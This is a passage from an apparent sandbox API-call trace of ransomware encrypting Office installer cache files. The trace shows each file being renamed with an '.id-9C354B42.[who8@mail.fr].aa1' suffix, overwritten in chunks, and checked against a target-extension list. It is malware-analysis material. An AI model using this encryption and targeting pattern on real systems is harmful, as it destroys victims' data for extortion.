lpFileSize=0x2d9ff1c*=222948913) returned 1 [0221.599] CloseHandle (hObject=0x21c) returned 1 [0221.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0221.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.599] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0221.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0221.600] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.600] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.600] ReadFile (in: hFile=0x21c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.805] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.805] ReadFile (in: hFile=0x21c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.914] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.914] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.914] ReadFile (in: hFile=0x21c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.502] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.502] WriteFile (in: hFile=0x21c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0222.566] SetEndOfFile (hFile=0x21c) returned 1 [0222.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x4270048 [0222.570] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.570] WriteFile (in: hFile=0x21c, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.572] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.572] WriteFile (in: hFile=0x21c, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.575] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.575] WriteFile (in: hFile=0x21c, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x4f0000) returned 1 [0222.577] CloseHandle (hObject=0x21c) returned 1 [0222.578] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.578] lstrlenW (lpString=".doc") returned 4 [0222.578] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.578] lstrlenW (lpString=".docx") returned 5 [0222.578] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0222.578] lstrlenW (lpString=".pdf") returned 4 [0222.578] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.578] lstrlenW (lpString=".xls") returned 4 [0222.578] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.578] lstrlenW (lpString=".xlsx") returned 5 [0222.578] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0222.578] lstrlenW (lpString=".ppt") returned 4 [0222.578] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString=".zip") returned 4 [0222.579] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString=".rar") returned 4 [0222.579] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString=".bz2") returned 4 [0222.579] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.579] lstrlenW (lpString=".7z") returned 3 [0222.579] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString=".dbf") returned 4 [0222.579] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString=".1cd") returned 4 [0222.579] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString=".jpg") returned 4 [0222.579] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.579] lstrlenW (lpString=".doc") returned 4 [0222.579] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString=".docx") returned 5 [0222.579] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0222.579] lstrlenW (lpString=".pdf") returned 4 [0222.579] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString=".xls") returned 4 [0222.579] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.579] lstrlenW (lpString=".xlsx") returned 5 [0222.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0222.580] lstrlenW (lpString=".ppt") returned 4 [0222.580] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.580] lstrlenW (lpString=".zip") returned 4 [0222.580] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.580] lstrlenW (lpString=".rar") returned 4 [0222.580] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.580] lstrlenW (lpString=".bz2") returned 4 [0222.580] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.580] lstrlenW (lpString=".7z") returned 3 [0222.580] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.580] lstrlenW (lpString=".dbf") returned 4 [0222.580] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.580] lstrlenW (lpString=".1cd") returned 4 [0222.580] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0222.580] lstrlenW (lpString=".jpg") returned 4 [0222.580] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.580] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0222.580] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0222.580] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0222.659] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10798080) returned 1 [0222.659] CloseHandle (hObject=0x1b0) returned 1 [0222.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0222.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.659] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0222.660] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0222.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0222.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.660] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.728] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.728] ReadFile (in: hFile=0x1b0, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.904] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.904] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.904] ReadFile (in: hFile=0x1b0, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.908] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.908] WriteFile (in: hFile=0x1b0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0223.927] SetEndOfFile (hFile=0x1b0) returned 1 [0223.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0223.994] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.994] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.997] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.997] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.999] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.999] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0224.005] CloseHandle (hObject=0x1b0) returned 1 [0224.006] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.006] lstrlenW (lpString=".doc") returned 4 [0224.006] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0224.006] lstrlenW (lpString=".docx") returned 5 [0224.006] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0224.006] lstrlenW (lpString=".pdf") returned 4 [0224.007] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0224.007] lstrlenW (lpString=".xls") returned 4 [0224.007] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0224.007] lstrlenW (lpString=".xlsx") returned 5 [0224.007] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0224.007] lstrlenW (lpString=".ppt") returned 4 [0224.007] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.007] lstrlenW (lpString=".zip") returned 4 [0224.007] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0224.007] lstrlenW (lpString=".rar") returned 4 [0224.007] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0224.007] lstrlenW (lpString=".bz2") returned 4 [0224.007] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0224.007] lstrlenW (lpString=".7z") returned 3 [0224.007] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.007] lstrlenW (lpString=".dbf") returned 4 [0224.007] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.007] lstrlenW (lpString=".1cd") returned 4 [0224.007] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.007] lstrlenW (lpString=".jpg") returned 4 [0224.007] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.008] lstrlenW (lpString=".doc") returned 4 [0224.008] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0224.008] lstrlenW (lpString=".docx") returned 5 [0224.008] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0224.008] lstrlenW (lpString=".pdf") returned 4 [0224.008] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0224.008] lstrlenW (lpString=".xls") returned 4 [0224.008] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0224.008] lstrlenW (lpString=".xlsx") returned 5 [0224.008] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0224.008] lstrlenW (lpString=".ppt") returned 4 [0224.008] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0224.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.008] lstrlenW (lpString=".zip") returned 4 [0224.008] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0224.008] lstrlenW (lpString=".rar") returned 4 [0224.008] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0224.008] lstrlenW (lpString=".bz2") returned 4 [0224.008] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0224.008] lstrlenW (lpString=".7z") returned 3 [0224.008] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0224.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.008] lstrlenW (lpString=".dbf") returned 4 [0224.008] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0224.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.008] lstrlenW (lpString=".1cd") returned 4 [0224.008] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0224.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0224.008] lstrlenW (lpString=".jpg") returned 4 [0224.008] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0224.009] lstrcmpiW (lpString1=".xrm-ms", lpString2=".aa1") returned 1 [0224.009] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0224.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.009] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=715834) returned 1 [0224.009] CloseHandle (hObject=0x1b0) returned 1 [0224.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0224.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.386] GetLastError () returned 0x0 [0224.386] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0224.518] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0224.536] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.536] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x104, lpOverlapped=0x0) returned 1 [0224.536] SetEndOfFile (hFile=0x228) returned 1 [0224.536] CloseHandle (hObject=0x228) returned 1 [0224.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.537] SetEndOfFile (hFile=0x1b0) returned 1 [0224.554] CloseHandle (hObject=0x1b0) returned 1 [0224.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.555] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0224.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.557] lstrlenW (lpString=".doc") returned 4 [0224.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0224.557] lstrlenW (lpString=".docx") returned 5 [0224.557] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0224.557] lstrlenW (lpString=".pdf") returned 4 [0224.557] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0224.557] lstrlenW (lpString=".xls") returned 4 [0224.557] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0224.557] lstrlenW 